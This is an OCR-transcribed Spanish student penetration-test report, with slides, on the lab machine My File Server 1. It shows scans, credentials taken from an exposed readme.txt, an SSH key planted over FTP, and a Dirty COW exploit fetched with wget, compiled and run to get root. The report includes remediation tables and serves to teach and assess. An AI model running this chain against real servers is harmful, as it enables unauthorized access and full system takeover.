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1. RESUMEN EJECUTIVO

La presente evaluacidn de seguridad se realizé sobre la maquina vulnerable My File Server
1, la cual simula un servidor corporativo de archivos expuesto dentro de un entorno de
laboratorio. El ejercicio confirmdé una cadena de compromiso completa desde la
exposicion inicial de servicios y credenciales hasta la obtencidn de privilegios de
superusuario, por lo que el riesgo global del activo se clasifica como critico.

La causa raiz no fue una sola falla aislada, sino la combinacion de debilidades
encadenables: exposicion de informacion sensible por HTTP, reutilizacion de credenciales
vélidas, controles insuficientes en servicios de transferencia/acceso remoto y un kernel
desactualizado susceptible a escalada local de privilegios mediante Dirty COW. En
términos de negocio, una condicién equivalente en un servidor real permitiria acceso no
autorizado a documentos, alteracidn de informacion, interrupcidén operativa y eventual
uso del sistema como punto de pivote hacia otros activos internos.

El compromiso reproducido en este reporte siguid la secuencia técnica: reconocimiento de
servicios expuestos; priorizacidn de vectores SMB, HTTP, FTP y NFS; identificacién de un
archivo accesible sin autenticacion (readme.txt) con credenciales validas; validacion del
acceso inicial; establecimiento de acceso remoto como usuario comprometido;
verificacion de versién del kernel; y escalada local hasta root. La cadena no depende de
supuestos: cada transicién se justifica con evidencia operativa y con la interpretacién de
por qué el paso siguiente era viable.

Las prioridades de remediacion son inmediatas: retirar informacion sensible accesible
desde red, rotar credenciales comprometidas, endurecer los servicios expuestos, revisar
mecanismos de acceso remoto y aplicar un programa formal de parchado del sistema
operativo y de los servicios de red.



2. ALCANCE

Sistema objetivo

Tipo de sistema

My File Server 1

Servidor de archivos

Direccion IP analizada

192.168.56.104

Entorno

Laboratorio académico controlado

Metodologia de referencia

PTES y OWASP Testing Guide

Herramientas principales

netdiscover, Nmap, enumd4linux, smbclient,
Nikto, FTP, SSH, uname, gcc, wget

Restricciones del ejercicio:

No se realizaron ataques de denegacidn de servicio ni pruebas destructivas fuera del objetivo

asignado.

No se ejecutaron acciones contra infraestructura externa al laboratorio.

Las capturas y salidas deben interpretarse dentro del contexto académico del escenario

vulnerable.




3. METODOLOGIA APLICADA

La metodologia no se presenta como una lista decorativa de fases; se aplicé como un flujo
de decision técnica donde cada hallazgo habilitd el paso siguiente. La ejecucion se alined
con PTES y con buenas practicas del OWASP Testing Guide en reconocimiento,
enumeracion, explotacién, escalada local y analisis de impacto.

Fase

Reconocimiento

Objetivo

Identificar el host y
mapear superficie
expuesta.

Hallazgo clave

Se detectaron multiples
servicios: FTP, SSH, HTTP,
RPC, SMB, NFS y ProFTPD
en 2121.

‘ Transicion metodolégica

La cantidad y naturaleza
de servicios obligd a
priorizar vectores con
potencial de exposicidn
de informacidn y acceso
remoto.

Enumeracion

Profundizar en los
servicios priorizados y
buscar evidencia
accionable.

HTTP permitié acceder a
/readme.txt sin
autenticacion; SMB y
RPC/NFS ampliaron el
contexto de exposicién.

El contenido del archivo
expuesto aportd
credenciales vélidas y
justificé validar acceso
sobre servicios
autenticados.

Explotacién

Obtener acceso inicial
reproducible con la
menor friccidn posible.

Las credenciales smbuser
/ rootroot1 permitieron
acceso a servicios del
sistema y facilitaron la
preparaciéon de acceso
remoto.

Con acceso como usuario
valido se pudo verificar el
sistema operativo y
evaluar oportunidades de
escalada local.

Escalada de privilegios

Determinar si el usuario
comprometido podia
alcanzar privilegios
elevados.

El kernel 3.10.0-
229.el7.x86_64 resultd
susceptible a Dirty COW.

La explotacién local
permitié obtener
contexto root y
demostrar compromiso
total del servidor.

Impacto y remediacién

Traducir los hallazgos
técnicos a riesgo
organizacional y
controles correctivos.

Se confirmé afectacion
potencial sobre
confidencialidad,
integridad y
disponibilidad.

Las recomendaciones se
priorizaron segun
explotacion real, no
como catdlogo genérico.




4. FASE DE RECONOCIMIENTO

El objetivo del reconocimiento fue identificar de forma confiable el host asignado y
caracterizar la superficie de ataque antes de ejecutar pruebas mas intrusivas.

4.1 ldentificacion del host objetivo

Se identifico el objetivo dentro de la red del laboratorio con netdiscover ejecutado con
privilegios elevados. La IP detectada y utilizada de forma consistente en todo el reporte
fue 192.168.56.104. Esta unificacion elimina ambigliedad y asegura trazabilidad entre
reconocimiento, enumeracién, explotacion y escalada.

Session Actions Edit View Help

Currently scanning: 192.168.0.0/16 | Screen View: Unique Hosts

3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180

At MAC Address MAC Vendor / Hostname

192.168.56.104 ©08:00:27:a9:0c:e7 PCS Systemtechnik GmbH
192.168.56.1 0a:00:27:00:00:0c Unknown vendor
192.168.56.100 ©8:00:27:b6:cb:a5 PCS Systemtechnik GmbH

4.2 Escaneo de puertos y servicios

El reconocimiento activo se realizé con Nmap para identificar puertos abiertos, servicios,
versiones y rasgos del sistema operativo. La finalidad no fue listar puertos por inercia, sino
priorizar vectores con mayor probabilidad de producir acceso inicial o exposicién de
informacién.

nmap -sS -sV -0 -p- 192.168.56.104

Riesgo real en el

. Prioridad
escenario

Puerto Servicio Version detectada

Puede exponer
transf iad

21 FTP vsftpd 3.0.2 ransterencia ge Media
archivos y facilitar

validacion de




credenciales en texto
claro o reutilizadas.

22

SSH

OpenSSH 7.4

Servicio de
administracién
remota; critico si
existen credenciales
validas o claves no
controladas.

Alta

80

HTTP

Apache httpd 2.4.6

Vector prioritario por
exposicion de
contenido accesible
sin autenticacion; fue
el punto donde se
localizé readme.txt.

Critica

111

rpcbind

RPC 2-4

Revela servicios RPC
y apoya la
comprension de la
superficie NFS.

Media

445

SMB

Samba 3.X-4.X

Servicio sensible en
un file server; puede
exponer recursos,
usuarios o rutas
operativas.

Alta

2049

NFS

NFS ACL v3

Amplia la superficie
de archivos
compartidos; debe
revisarse por posibles
exportaciones
inseguras.

Alta

2121

FTP

ProFTPD 1.3.5

Versién
histéricamente
atractiva para
explotacién; aunque
no fue el vector final,
incrementa
severamente la
exposicion.

Alta

20048

mountd

RPC mountd 1-3

Complementa la
enumeracién de
exportaciones NFS 'y
permisos.

Media




192.168.56.104
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-10 03:54 -0400
Nmap scan report for 192.168.56.104
Host is up (0.00079s latency).
Not shown: 64431 filtered tcp ports (no-response), 92 filtered tcp ports (host-prohibited), 1004 closed tcp ports (reset)
STATE SERVICE VERSION
open ftp vsftpd 3.0.2
open ssh OpenSSH 7.4 (protocol 2.0)
open http Apache httpd 2.4.6 ((Cent0S))
open rpcbind 2-4 (RPC #100000)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
open nfs_acl 3 (RPC #100227)
open ftp ProfFTPD 1.3.5
20048/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:C9:30:60 (Oracle VirtualBox virtual NIC)
Aggressive 0S gues Linux 3.4 - 3.10 (98%), Synology DiskStation Manager 5.2-5644 (97%), Linux 2.6.32 - 3.1
.32 (94%), Linux 3.2 - 3.10 (94%), Linux 3.2 - 3.16 (94%), Linux 3.2 - 4.14 (94%), Linux 3.10 (93%), Linux 2.6.3
inux 2.6.32 - 3.13 (92%)
No exact 0S matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: FILESERVER; 0S: Unix

0 (96%), Linux 2.6
32 - 3.5 (92%), L

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.71 seconds

4.3 Priorizacion de vectores

HTTP se priorizd primero porque un servicio web en un servidor de archivos
frecuentemente expone rutas, archivos de ayuda, respaldos o notas operativas. En este
caso, esa hipdtesis resultd correcta al localizarse un archivo accesible sin autenticacion.
SMB se mantuvo como vector de alta prioridad por la naturaleza del activo evaluado.
Aunque en el compromiso final no fue necesario explotar una falla remota de Samba, su
exposicidon respaldo la hipdtesis de que existia una administracidon laxa de recursos y
credenciales.

FTP y SSH fueron considerados vectores de validacién y consolidacién del acceso. Si se
obtenian credenciales validas, ambos servicios podian transformar una filtracion de
informacién en un acceso reproducible al sistema.

RPC/NFS no se descartaron, porque en un file server incrementan la probabilidad de
recursos exportados, metadatos de montaje o configuraciones permisivas que faciliten
enumeracion adicional.

5. ENUMERACION

La fase de enumeracion tiene como objetivo obtener informacion detallada sobre los
servicios detectados.

Para ver los puertos disponibles y su version, se usa el comando nmap -sV 192.168.1.13



PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((Cent0S))
111/tcp open rpcbind 2-4 (RPC #100000)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
2049/tcp open nfs_acl 3 (RPC #100227)
2121/tcp open ftp ProFTPD 1.3.5

1. FTP21

2. SSH 22

3. HTTP 80

4. Samba 445

5. RPC111/2049

Como se necesita saber puertos y servicios se usara el comando nmap —A 192.168.1.13

Session Actions Edit View Help

192.168.1.13
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-09 13:54 -0400
Nmap scan report for 192.168.1.13 (192.168.1.13)
Host is up (0.00050s latency).
Not shown: 897 filtered tcp ports (no-response), 9 filtered tcp ports (host-p

rohibited), 87 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.2

| ftp-syst:

| STAT:

| FTP server status:

| Connected to :: ffff:192.168.1.10

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

| ssh-hostkey:

| 2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
I 256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
| _ 256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
80/tcp open http Apache httpd 2.4.6 ((Cent0S))

| http-methods:

|_ Potentially risky methods: TRACE

|_http-title: My File Server

| _http-server-header: Apache/2.4.6 (Cent0S)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:

I program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

445/tcp open netbios-ssn Samba smbd 4.9.1 (workgroup: SAMBA)
2049/tcp open nfs_acl 3 (RPC #100227)

2121/tcp open ftp ProfFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| Can't get directory listing: ERROR

Una vez obtenidos los puertos y servicios, probaremos alguno, para ver si es vulnerable,
en este caso, se uso el comando ftp 192.168.1.13 80




~

192.168.1.13 80
Connected to 192.168.1.13.

421 Service not available, remote server has closed connection.
ftp> B

Al no estar disponible, se usard otro puerto, ahora sera el puerto de samba (445)

~

192.168.1.13 445
Connected to 192.168.1.13.

421 Service not available, remote server timed out. Connection closed.

Al lanzar ese mensaje, buscamos mas informacién acerca de samba, se podra saber los
usuarios disponibles, mediante el comando enum4linux -U 192.168.1.13 / enum4linux -a
192.168.1.13

~

192.168.1.13
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum&linux/ )

192.168.1.13
RID Range 500-550,1000-1050
Username L
Password
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

do_connect: Connection to 192.168.1.13 failed (Error NT_STATUS_HOST_UNREACHABLE)

Sharename Type Comment

print$ Disk Printer Drivers

smbdata Disk smbdata

smbuser Disk smbuser

IPCS$ IPC IPC Service (Samba 4.9.1)
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

//192.168.1.13/print$ DENIED
//192.168.1.13/smbdata 0K
//192.168.1.13/smbuser DENIED

En caso de que no se pueda ejecutar, Primero se instala sudo dpkg --configure -a antes
que Enumlinux, ya que, si se intenta instalar EnumLinux, marcara un error

sudo apt install enum4linux



~

Setting up nessus (10.11.2)

HMAC : (Module_Integrity) : Pass
SHA1 : (KAT_Digest) : Pass

SHA2 : (KAT_Digest) : Pass

SHA3 : (KAT_Digest) : Pass

TDES : (KAT_Cipher) : Pass
AES_GCM : (KAT_Cipher) : Pass

AES_ECB_Decrypt : (KAT_Cipher) : Pass
RSA : (KAT_Signature) : RNG : (Continuous_RNG_Test) : Pass

~

install enum&4linux
enum4linux is already the newest version (0.9.1-0kali2).
enum4linux set to manually installed.
Summary:
Upgrading: @, Installing: @, Removing: @, Not Upgrading: 1627

Ahora se tratara de visualizar los directorios del servicio, mediante nikto -h 192.168.1.13

~

192.168.1.13
Nikto v2.5.0

Target IP: 192.168.1.13

Target Hostname: 192.168.1.13

Target Port: 80

Start Time: 2026-03-09 14:48:49 (GMT-4)

Server: Apache/2.4.6 (Cent0S)
+ /: The anti-clickjacking X-Frame-Options header is not prese
+ /: The X-Content-Type-Options header is not set. This could
See: https://ww.netsparker.com/web-vulnerability-scanner/vu
Apache/2.4.6 appears to be outdated (current is at least Apaq
OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRA(
/: HTTP TRACE method is active which suggests the host is vu
Wreadme.txt: This might be interesting.
/icons/: Directory indexing found.
/icons/README: Apache default file found. See: https://www.v
8908 requests: 0 error(s) and 8 item(s) reported on remote hq
End Time: 2026-03-09 14:49:08 (GMT-4) (19 seconds)

+ + 4+ + o+ o+ o

Analisis

Durante la fase de enumeracidn se identificaron recursos compartidos accesibles desde la
red.



La exposicién de estos recursos puede permitir a un atacante acceder a archivos sensibles
si no se aplican controles adecuados de autenticacion.

6. EXPLOTACION

La explotacion se documenta como una secuencia cerrada de pasos. Cada salto esta
sustentado por una evidencia observable y por una interpretacidn técnica de por qué el
paso siguiente era razonable.

Paso 1. Identificacidon del recurso expuesto

Accion: Durante la revisidn del servicio HTTP se localizé el archivo /readme.txt accesible
sin autenticacion.

Resultado: El archivo contenia las credenciales smbuser / rootroot1.

Interpretacion: La exposicion de secretos por HTTP constituyd el origen del compromiso
inicial.

(3  192.168.1.12/readme.txt X +

= C @ O A Not Secu

OffSec Kali Linux Kali Tools ¢ Kali Doc

My Password 1is
rootrootl

Paso 2. Validacion de credenciales en servicio autenticado

Accidn: Se probaron las credenciales obtenidas sobre el servicio FTP del objetivo.
Resultado: La autenticacidn resultd exitosa y confirmé que las credenciales estaban
vigentes.

Interpretacidn: Se demostré reutilizacién de credenciales y ausencia de segregacién
efectiva entre servicios.

Generating public/private ed25519 key pair.

Enter file in which to save the key (/root/.ssh/id_ed25519):
/root/.ssh/id_ed25519 already exists.
Overwrite (y/n)?




Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/id_ed25519):
Enter passphrase for "/root/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_ed25519
Your public key has been saved in /root/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:nEjGVmd6 j8whm/cXy6QZPROUQoPmMwQdp2FPlYcrIXwc rootakali
The key's randomart image is:
+--[ED25519 256]—+
I . *,%x= BE|

=.X+.0.0]|
= 0 x0++ 0 |

|
I
| I
| I
| I
| I
| I
I I

[SHA256]

Para copiar las llaves generadas, se uso el comando cat id_ed25519.pub >
authorized_keys

~/.ssh

authorized_keys 1id_ed25519 id_ed25519.pub known_hosts

Paso 3. Preparacion de acceso remoto controlado

Accidn: En la maquina atacante se generd un par de llaves SSH y se preparo el archivo
authorized_keys. Posteriormente, mediante el acceso autenticado, se colocd la clave
publica en el contexto del usuario comprometido.

Resultado: El sistema acepté la clave autorizada y quedd habilitado el acceso remoto
como smbuser.

Interpretacion: El hallazgo dejé de ser solo acceso a archivos y se convirtid en persistencia
operativa dentro del host.



~/.ssh

192.168.1.12
Connected to 192.168.1.12.
220 (vsFTPd 3.0.2)
Name (192.168.1.12:kali): smbuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type 1is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /home/smbuser
ftp> mkdir .ssh
257 "/home/smbuser/.ssh™ created
ftp> cd .ssh
250 Directory successfully changed.
ftp> put /root/.ssh/id_ed25519.pub authorized_keys
local: /root/.ssh/id_ed25519.pub remote: authorized_keys
229 Entering Extended Passive Mode (l1153571).
150 Ok to send data.
226 Transfer complete.
91 bytes sent in 00:00 (32.07 KiB/s)
ftp> B

Paso 4. Obtencidn de acceso inicial por SSH

Accion: Se establecié una sesidon SSH como smbuser contra 192.168.56.104.

Resultado: La sesién confirmé control interactivo del sistema con privilegios de usuario
estandar.

Interpretacion: Este estado permitid pasar a validacion local del sistema operativoy a la

busqueda de escalada.
~/.ssh
SSH smbuser@192.168.1.13 |
The authenticity of host "192.168.1.13 (192.168.1.13)" can't be established.
ED25519 key fingerprint is: SHA256:ccn@TgE4/OXtSpg30MO2gVNYXrps4Zi+XcBgaDZnW78
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added "192.168.1.13" (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later” attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
B S I I
Armour Infosec
www .armourinfosec.com
My File Server - 1
Designed By :- Akanksha Sachin Verma
Twitter ;- @akankshavermasv

Last login: Mon Mar 9 07:06:44 2026 from 192.168.1.13
[smbuser@fileserver ~]$ |}

Para verificar la version del sistema y asi poder identificar vulnerabilidades.



Paso 5. Verificacion del contexto del host

Accion: Desde la sesién comprometida se ejecutd uname -a / uname -r para identificar el
kernel.

Resultado: Se observé la version 3.10.0-229.el7.x86_64.

Interpretacidn: La version justificd explorar una escalada local conocida en vez de asumir
erréneamente una falla de sudo o una ruta distinta.

[smbuserpfileserver ~]$ uname -a
Linux fileserver 3.10.0-229.e17.x86_64 #1 SMP Fri Mar 6 11:36:42 UTC 2015 x86_64 x86_64 x86_64 GNU

[smbuser@fileserver ~]$ |}

7. ESCALADA DE PRIVILEGIOS

La narrativa de escalada debe coincidir con la evidencia y con la tabla final de hallazgos. En
este caso, la escalada real no se atribuye a una configuracién insegura de sudo. El vector
documentado y reproducido fue un kernel desactualizado vulnerable a Dirty COW.

7.1 Identificacion de |la oportunidad de escalada

uname -r
3.10.0-229.el7.x86_64

La versidn del kernel observada es consistente con sistemas Linux historicamente
afectados por CVE-2016-5195 (Dirty COW), una vulnerabilidad de condicion de carrera en
el mecanismo de copy-on-write que permite elevacidn local de privilegios.

[enabled by default]

uded from cowroo
u std.h:334:16:

BOXT #WESES GO CTRDERECHA ;



7.2 Ejecucidn del vector local

. wget https://www.exploit-db.com/download/40616 -O cowroot.c

. gcc cowroot.c -o cowroot -pthread
. .Jcowroot

Tras compilar y ejecutar el exploit, se obtuvo un contexto con privilegios elevados. La
validacién se realizé confirmando la identidad efectiva del proceso y el acceso al directorio
/root y al archivo proof.txt. La evidencia de privilegio elevado debe mostrarse con claridad
para que la transicion de usuario comprometido a root no quede implicita sino

demostrada.

™ kali-linux-2025.4-virtualbox-amd64 (Inicio) [Corriendo] - Oracle VirtualBox

Archivo Maquina Ver Entrada

Dispositivos

B omP O] 2 3

Ayuda

Session Actions Edit View Help

https://wwi .exploit-db.com/download/40616
Resolving www.exploit-db.com (www.exploit-db.com)... 192 24
Connecting to www.exploit-db.com (ww.exploit-db.com)]|19:

HTTP request sent, awaiting respo . 200 OK

Length 63 (4.8K) [application/txt]

Saving ti ‘cowroot.c’

GO S S O 1]

2026-03-09 01:57:53 (1.26 GB/s) - ‘cowroot.c’ saved [4963/4963]

server ~1$ gcc cowroot.c -o cowroot -thread
nrecognized command line option ‘-thread’
@fileserver ~]$ gcc cowroot.c -o cowroot -pthread
c: In function ‘procselfmemThread’:
9: g

pa
k(f,map,SEEK_SET);

In file included from cowroot.c:28:0:
/usr/include/unistd.h:334:16: expected ‘__off_t' but

extern __off_t k (int __fd, _off_t _ offset, int __whence) _ THROW;

ation
to /tmp/bak

Popping root shell.
Don't forget to restore /tmp/bak
[rootafileserver T id
uid=0(root) gid=1000(smbuser) groups=@(root),1000(smbuser)
[root@fileserver B cd /root

server rootH ls

[roota@fileserver root} cat proof.txt
Best of Luck
af52e0163b03cbf7c6dd146351594a43
[rootafileserver rootkfl

smbuser@fileserver:~

3... connected.

g argument 2 of ‘lseek’ makes integer from pointer without a cast [enabled by default]

gument is of type ‘void *’

8. ANALISIS DE IMPACTO (MODELO CIA)

Impacto técnico

Impacto organizacional

O ® A Qo a G

1% ', 6 [ CTRLDERECHA

Valoracion

Acceso no autorizado a
archivos, credenciales y
posibles secretos
operativos almacenados
en el servidor.

Confidencialidad

Fuga de informacién
sensible, exposicion de
datos internos y
potencial incumplimiento
regulatorio.

Critico




Capacidad de modificar
archivos, insertar
contenido malicioso o

Pérdida de confianza en
la informacién,

datos, alterar servicios o
inutilizar el sistema.

operativo y recuperacién
costosa.

Integridad . . afectacion a procesos Alto
alterar configuraciones . .
. internos y riesgo de
una vez obtenido acceso .
. sabotaje.
privilegiado.
Con privilegios root, un Interrupcién del servicio
. o atacante puede borrar de archivos, impacto
Disponibilidad P P Alto

El riesgo global se clasifica como critico porque la cadena de ataque permitié pasar de

exposicién remota de informacién a control administrativo total del servidor. No se trata
de un hallazgo aislado, sino de una secuencia explotable con impacto transversal sobre los
tres pilares de seguridad.

9. RECOMENDACIONES TECNICAS

Prioridad Hallazgo asociado Recomendacidn concreta Resultado esperado
Retirar el archivo expuesto,
eliminar cualquier secreto . L
a4 . Eliminar el vector inicial
Exposicidon de /readme.txt | accesible por HTTP, rotar de -
. . . ) . de compromiso y cortar el
Inmediata y credenciales en texto inmediato las credenciales .
] uso de credenciales ya
claro comprometidas y mover
o expuestas.
secretos a un repositorio
seguro o vault.
Aplicar credenciales Unicas
Reutilizacion de por servicio, MFA donde Reducir la posibilidad de
Inmediata credenciales entre aplique y revision de que una sola filtracién
servicios cuentas con contrasefas habilite multiples accesos.
compartidas o heredadas.
Revisar sshd_config,
deshabilitar acceso por . . .
N Evitar persistencia no
Acceso remoto contrasefia para cuentas . .
. L . autorizada y mejorar
Alta endurecido de forma administrativas, controlar o
) .. . o trazabilidad del acceso
insuficiente authorized_keys, restringir
. - remoto.
usuarios permitidos y
registrar cambios de llaves.
Restringir SMB/FTP/NFS a
segmentos autorizados,
L . eliminar guest access, Reducir superficie de
Servicios de archivos . . o
Alta " revisar permisos de ataque y exposicion de
expuestos . .
? shares/exportaciones y recursos internos.
deshabilitar servicios
innecesarios.




Kernel vulnerable a Dirty

Actualizar kernel y paquetes
base, establecer inventario
de versiones y ventanas de

Eliminar la via de escalada

Alta . local a root documentada
cow mantenimiento con .
o ) en este ejercicio.
validacion posterior al
parcheo.
Centralizar logs de -
L, & Detectar actividad
autenticacidn, acceso a , L
. . . - . . anémala y reducir tiempo
Media Monitoreo insuficiente archivos y cambios de

llaves/usuarios en un SIEM
o sistema de correlacion.

de respuesta ante
compromiso.

10. Tabla de hallazgos

. . N Impacto -
Activo Severida Evidencia Impacto . Remediacion
Hallazgo .. organizacion N
afectado d puntual técnico al prioritaria
Exposicion de . Filtracidon Riesgo de Retirar el
R Ruta accesible R .
archivo . de secretos acceso no archivo, revisar
X Servicio web desde R . o,
sensible por operativos autorizado y publicacion
Apache en » navegador; . .
HTTP Critica . y compromiso web y clasificar
192.168.56.10 contenido L i L
(/readme.txt) . habilitacién de la informaciéon
. 4 visible con . .
sin X del acceso informacion antes de
L, credenciales. . X
autenticacién inicial. interna. exponerla.
. Rotacion
. Compromiso X X
Exposicion y . inmediata,
L Credenciales Acceso de cuentas, ~
reutilizacidon de . . . contrasefias
. Servicios observadas en inicial trazabilidad L
credenciales . . X . Unicas y
o autenticados Critica readme.txt y reproducibl deficiente y L
validas . L . revision de
del host validadas por e a servicios | posibilidad de
(smbuser / X o cuentas que
FTP/SSH. del sistema. | movimiento
rootrootl) compartan
lateral. i
credenciales.
Mecanismo de »
- Sesién SSH Mayor
. obtenida tras Persistencia tiempo de Endurecer SSH,
susceptible a X .
) . . preparar clave operativa y permanencia controlar
persistencia Servicio SSH / . .
. autorizada en acceso del atacantey | authorized_key
mediante cuenta Alta X . T
. el contexto del interactivo menor sy restringir
authorized_key | smbuser . - .
- usuario estable al probabilidad usuarios/llaves
. comprometido | host. de deteccion permitidas.
compromiso de
temprana.
cuenta
uname -r = Escalada Manipulacién
Kernel Parchar kernel,
. 3.10.0- local a , borrado o R
desactualizado . L . o, retirar
Sistema 229.el7.x86_6 privilegios interrupcién .
vulnerable a X . o . . versiones
operativo del Critica 4; compilacion maximos y del servicio
escalada local R i L, . obsoletas y
. servidor y ejecucion control con impacto )
de privilegios , X validar
. exitosa del total del operativo L
(Dirty COW) . . cumplimiento
exploit con sistema. severo.




elevacién a de gestion de
root. cambios.




ACTIVIDAD 09

Red Team Report

Pentesting y Explotacion de "My File Server 1"

Evaluacion ejecutiva avalada sobre el nivel de exposicion del activo

corporativo, enfocada en riesgo de negocio, demostracion de impacto critico

y gobernanza de remediacion.

Equipo Consultor (Red Team)

e Coronado Noriega Jesus Olaf (178991)

e De La Rosa Rodriguez Erik (177700)

e Gonzalez Reyes Felipe de Jesus (181134)
» Mendoza Aguado Karina (179859)

e Serrano Zermeno Leonardo (177301)

e Pérez Ventura Juan Alejandro (180370)

Detalles del Engagement

Profesor: Mtro. Servando Lépez Contreras

Curso: Técnicas de Explotacion de Vulnerabilidades
Rol: Firma Consultora Externa Autorizada

Fecha: 09 Marzo 2026



Resumen EjECUtIVO Y Alcance

Resumen Ejecutivo

Evaluacion sobre la maquina vulnerable My File Server 1. Se confirmd Secuencia Técnica (Compromiso)
una cadena de compromiso completa, desde exposicion inicial hasta

o . i . 1. Reconocimiento: Priorizacion de vectores SMB,
obtener privilegios de superusuario, clasificando el riesgo global como

HTTP, FTP y NFS.

critico.
La causa raiz es la combinacion de debilidades: exposicién de 2. Acceso Inicial: Lectura de readme. txt sin

vulnerable a Dirty COW.
3. Acceso Remoto: Verificacion y validacion de

Alcance y Restricciones usuario comprometido.
SISTEMA OBJETIVO My File Server 1 (Servidor de archivos) 4. Escalada de Privilegios: Verificacion de version
DIRECCION IP 192.168.56.104 del kernel y escalada local hasta root.
ENTORNO Laboratorio académico controlado

Prioridades de Remediacion
METODOLOGIA PTES y OWASP Testing Guide

e Retirar informacion sensible de la red y rotar
netdiscover, Nmap, enum4linux, smbclient, Nikto,

BB FTP, SSH, uname, gcc, wget credenciales.

e Endurecer (Hardening) los servicios expuestos y
el acceso remoto.

e Aplicar parchado formal del SO (kernel) y
servicios.



ESTANDAR GLOBAL MEtOdOlOQia de EXpIOtaCién Anall’tica

La auditoria se ejecutd bajo el rigor del PTES (Penetration Testing Execution Standard) y alineado al OWASP
Testing Guide, garantizando un proceso estructurado, estratégico y libre de falsos positivos.

O O @ @ ®

Inteligencia & Modelado de Analisis de Explotacion Impacto &
Reconocimiento Amenazas Vulnerabilidades Controlada Reporte



Fase 1: Reconocimiento y Superficie de Ataque

Analisis Critico de Servicios Expuestos

Mediante escaneos sigilosos (Nmap), se reveld una huella digital extensa. La
configuraciéon por defecto expone protocolos innecesarios hacia la red

externa.

PUERTO /
SERVICIO

HTTP /FTP / SMB /
NFS

Informacion
Expuesta

HALLAZGO TECNICO

Servicios expuestos con vulnerabilidades en la

configuracion.

Lectura de archivo readme.txt sin
autenticacioén, conteniendo credenciales
validas de usuarios.

SEVERIDAD

Media

Alta

Session Actions Edit View Help
Currently scanning: 192.168.0.0/16 | Screen View: Unique Hosts

3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180

IpP At MAC Address Count Len MAC Vendor / Hostname
192.168.56.104 08:00:27:a9:0c:e7 1 60 PCS Systemtechnik GmbH
192.168.56.1 0a:00:27:00:00:0c 1 60 Unknown vendor
192.168.56.100 ©08:00:27:b6:c6:a5 1 60 PCS Systemtechnik GmbH



BRECHA DE SEGURIDAD CONFIRMADA I ase 2’ EXpIO[aCIon y Compromlso

Detalle de la Explotacion

* Vector validado: Exposicion
de credenciales e
identificacién de kernel
e = desactualizado susceptible a

L T MEoun: Ve inerads Dspese s i

Binneri i oenamiao Dirty COW.

Hrbest @ oo

Sesslon Acthens Bt View Help
2036°03°00 BLISTISY JLETER
-

T e Ejecucidén: Conexién remota

usando credenciales

1% BEC Comrsol € -0 Comrast thrwad
VACARNATRR cwwnand Line matias fotaresan’
T gy expuestas, y
Wtlan Cprecsel fmenThroad I
3 PasAIng Arpment 1 oF ‘Leeek’ mabeh IAteger Feaw pORMar wITAOUT & Cast [esanled by defaslt)
Soehd f e BEENET

compilaciéon/ejecucion del

I fale Inc i from Camreot.CliBib;
Jemrsinciode/imintd A I0NGII6T ot
ontews _0ff_t Yaeed (0

LA exploit en el sistema para

AP rtal C el R Bt argewent G5 o7 tyae ‘veld o
fiamt, Aw L

escalacion local (Dirty COW).

* Privilegios Obtenidos: Control
o administrativo total del

LEL F A LAY 1. INENTTST I

servidor (Root).

Reproducibilidad: El ataque es 100%
determinista y demostrable,
evidenciando una falla estructural y no
una anomalia aislada.



Analisis de Causa Raiz e Impacto Empresarial

-
Causa Raiz (Pensamiento Critico) Impacto Cuantificable en el Negocio
Técnicamente la raiz no fue una falla aislada, sino e Operativo: Potencial secuestro del File Server
una combinacion: exposicion en HTTP/FTP, por medio de Ransomware, paralizando la
credenciales accesibles y falta de parchado del lectura/escritura departamental.

kernel (Dirty COW). Estratégicamente, se origino
por:

* Confidencialidad: Filtrado sigiloso de bases de
datos, contratos y propiedad intelectual (Data
e Falta de politicas de "Hardening" inicial sobre Exfiltration).

los servicios del servidor. e Cumplimiento (Compliance): Violacion de

e Practicas inseguras al exponer informacion normativas de proteccion de datos, resultando
critica en directorios web/publicos. en multas y pérdida de reputacion bursatil.

e Carencia de un programa de parchado
constante en el Sistema Operativo (Kernel).



Matriz de Riesgo Ejecutivo

Diagnodstico Post-Mortem

Las métricas cruzadas entre la facilidad técnica
del ataque frente al impacto en la unidad de
negocio posicionan la amenaza en un espectro
inaceptable para la operaciéon corporativa.

Probabilidad de Explotacion: ALTA
Impacto Operativo: CRITICO

